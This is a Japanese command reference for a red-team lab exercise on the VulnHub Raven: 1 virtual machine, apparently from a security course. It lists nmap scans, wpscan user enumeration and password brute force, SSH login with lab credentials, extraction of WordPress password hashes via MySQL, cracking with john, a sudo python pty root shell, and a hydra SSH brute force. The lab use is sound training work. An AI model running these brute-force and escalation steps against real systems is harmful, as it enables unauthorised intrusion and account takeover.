

レッドチーム演習：VulnHub：Raven1

「レッドチーム演習：VulnHub：Raven1」セクションに関する コマンド & リファレンスです。コマンドはセクションのレクチャー順に紹介してあります。既出コマンドは「由来」、「用途」の説明が省略されている場合があります。

VulnHub

- Raven: 1, <https://www.vulnhub.com/entry/raven-1,256/>

スキャンング

nmap

由来：Network Mapper 用途：ネットワーク探索とセキュリティ監査を行う

コマンド構文

使用例：nmap コマンドによる PING スキャンを実行します。

```
$ sudo nmap -sn 172.16.208.0/24
```

使用例：nmap コマンドによるポートスキャンを実行します。オプションの意図は次のとおり。

- -Pn オプション ping をしない
- -T4 オプション 高速実行の指定
- -A オプション バージョン検出を指定

```
$ nmap -Pn -T4 -A -ON report_raven raven.local
```

more

由来：more 用途：長いメッセージやテキストファイルを1画面ずつ表示する

コマンド構文

使用例：cat report_raven コマンドの実行結果を1画面ずつ表示します。ファイルを表示している途中で [Q] キーまたは [q] キーで終了します。

```
$ cat report_raven | more
```

grep

由来：Global Regular Expression Print 用途：特定の文字を含む行を抽出する

コマンド構文

使用例：cat report_raven コマンドの実行結果から open 文字列を含む行を表示します。

```
$ cat report_raven | grep open
```

wpscan - ユーザー名の列挙

wpscan

由来：WordPress Scanner 用途：WordPress に関するセキュリティ監査を行う

コマンド構文

使用例：WordPress のユーザー名を列挙します。

```
$ wpscan --url raven.local/wordpress --enumerate u
```

ブルートフォース攻撃

wpscan

コマンド構文

使用例：WordPress のユーザー michael と steven に対してパスワード辞書 rockyou.txt を指定し、ブルートフォース攻撃を実行します。

```
$ wpscan --url raven.local/wordpress --passwords rockyou.txt --  
usernames michael,steven
```

パスワードの使い回し - SSH

ssh

由来：Secure SHell 用途：リモートマシンにログインしてコマンドを実行する

コマンド構文

使用例：接続先 raven.local に対して、ユーザー名 steven でログインします。

```
$ ssh steven@raven.local  
steven@raven.local's password: pink84
```

データベースの探索

mysql

コマンド構文

使用例：MySQLの管理者 root に、パスワード R@v3nSecurity にてログインします。

```
$ mysql -u root -p
Enter password: R@v3nSecurity
```

使用例：ログイン後 SHOW DATABASES にてデータベースを確認します。USE コマンドにて使用するデータベースを指定します。SHOW TABLES にてテーブルを確認します。

```
mysql> SHOW DATABASES;
mysql> USE wordpress;
mysql> SHOW TABLES;
```

使用例：SELECT コマンドにてデータベースからデータを取得します。FROM コマンドにてテーブル wp_users を指定します。

```
mysql> SELECT * FROM wp_users;
```

使用例：CONCAT コマンドにて文字列結合を行います。INTO OUTFILE コマンドにて結果をファイルへ出力します。

```
mysql> SELECT CONCAT(user_login, ":", user_pass) FROM wp_users INTO
OUTFILE '/tmp/wp_hash.txt';
```

```
$ cat /tmp/wp_hash.txt
michael:$P$BjRVZQ.VQcGZlDeiKToCQd.cPw5Xce0
steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7w/
```

パスワードハッシュの解析

john

由来：John The Ripper（正体不明の連続殺人犯） 用途：パスワード解析ツール

コマンド構文

使用例：パスワード辞書ファイルに rockyou.txt を指定し wp_hash.txt ファイルを解析します。

```
$ john --wordlist=rockyou.txt wp_hash.txt
```

ルート権限への昇格

sudo

由来：superuser do / substitute user do 用途：root 権限でコマンドを実行する コマンド構文

コマンド構文

使用例：sudo を実行するユーザーに許可されているコマンドを一覧表示します。

```
sudo -l
```

使用例：import pty を使ってbashシェルを起動します。シェルスポーンと呼ばれるテクニックです。

```
$ sudo python -c "import pty; pty.spawn('/bin/bash')"
```

find

由来：find 用途：ファイルをさまざまな条件で検索する

コマンド構文

使用例：検索対象を / ルートディレクトリとし、ファイル名 flag4.txt ファイルを探します。2>/dev/null は、標準エラーは /dev/null へ捨てて画面表示させない。

```
# find / -name flag4.txt 2>/dev/null
```

SSHサービスに対するブルートフォース攻撃

hydra

用途：インターネットサービスのパスワードをクラックする

コマンド構文

使用例：SSH サービスに対してブルートフォース攻撃をします。

- -L 引数としてユーザーリストを渡す
- -P 引数としてパスワードリストを渡す

```
$ hydra -L users.lst -P rockyou.txt ssh://raven.local
```

セクション 参考資料

wpscan - ユーザー名の列挙

- WPScan: WordPress Security, <https://wpscan.com/>
- WPScan - GitHub, <https://github.com/wpscanteam/wpscan>
- wpscan | Kali Linux Tools, <https://www.kali.org/tools/wpscan/>

ブルートフォース攻撃

- Common Password List (rockyou.txt) , rockyou.txt は、2009年に発生したソーシャルネットワークのデータベース漏えい事件により整理されたパスワードリストです。
- RockYouから盗まれた3200万のパスワードを分析: 最多はなんと"123456" - TechCrunch, <https://jp.techcrunch.com/2010/01/22/20100121depressing-analysis-of-rockyou-hacked-passwords/>
- wordlists | Kali Linux Tools, <https://tools.kali.org/password-attacks/wordlists>

データベースの探索

- mysql - MySQL コマンド行ツール, <https://dev.mysql.com/doc/refman/5.6/ja/mysql.html>

パスワードハッシュの解析

- john | Kali Linux Tools, <https://www.kali.org/tools/john/>

ルート権限への昇格

- T1059: Command and Scripting Interpreter | MITRE ATT&CK, <https://attack.mitre.org/techniques/T1059/>
- T1059.006: Command and Scripting Interpreter: Python | MITRE ATT&CK, <https://attack.mitre.org/techniques/T1059/006/>

SSHサービスに対するブルートフォース攻撃

- hydra | Kali Linux Tools, <https://www.kali.org/tools/hydra/>